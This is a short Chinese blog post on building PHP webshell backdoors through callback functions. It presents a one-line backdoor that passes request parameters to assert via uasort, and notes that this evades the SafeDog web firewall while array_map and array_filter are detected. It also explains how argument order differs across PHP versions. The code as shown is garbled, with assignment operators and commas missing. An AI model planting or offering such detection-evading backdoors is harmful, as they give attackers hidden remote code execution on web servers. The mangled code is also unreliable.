为了账号安全,请及时绑定邮箱和手机立即绑定

PHP 回调后门笔记

标签:
PHP

在php中 存在回调函数参数的函数,都有可能作为后门


比如array_map , array_filter 这类数组操作的回调函数,但是在安全狗下会被杀掉


但是uasort 这类函数不会被杀掉。


php5.4.8之后的assert

在5.4.8之后,assert函数由一个参数,变成了两个参数。增加了一个可选参数descrition:


5.4.8 增加了参数 description。 description 现在也作为第四个参数提供给 ASSERT_CALLBACK 模式里的回调函数。

那么这里就可以使用有两个参数的回调函数了,比如

1234<?php$e $_REQUEST['e'];$arr array($_REQUEST['pass'] , 'te');uasort($arr $e);

在php5.3环境下会报错,因为5.3的assert只有一个参数。

在php5.4以后就可以执行了


这里的传递参数的顺序也有变化,在php7之前不包括PHP7 , 传递参数是array的第一个参数就是回调函数的第二个参数。

在php7及以后,array的第一个参数是回调函数的第一个参数。

比如:

123456789function mysort($var_1 $var_2){    echo "var_1 : ".$var_1."<br>";    echo "var_2 : ".$var_2."<br>";}  $arr array("1" "2");uasort($arr 'mysort');

在php7以前的环境输出:

var_1 : 2
var_2 : 1


在php7及其以后的环境输出:

var_1 : 1
var_2 : 2

点击查看更多内容
TA 点赞

若觉得本文不错,就分享一下吧!

评论

作者其他优质文章

正在加载中
  • 推荐
  • 评论
  • 收藏
  • 共同学习,写下你的评论
感谢您的支持,我会继续努力的~
扫码打赏,你说多少就多少
赞赏金额会直接到老师账户
支付方式
打开微信扫一扫,即可进行扫码打赏哦
今天注册有机会得

100积分直接送

付费专栏免费学

大额优惠券免费领

立即参与 放弃机会
意见反馈 帮助中心 APP下载
官方微信

举报

0/150
提交
取消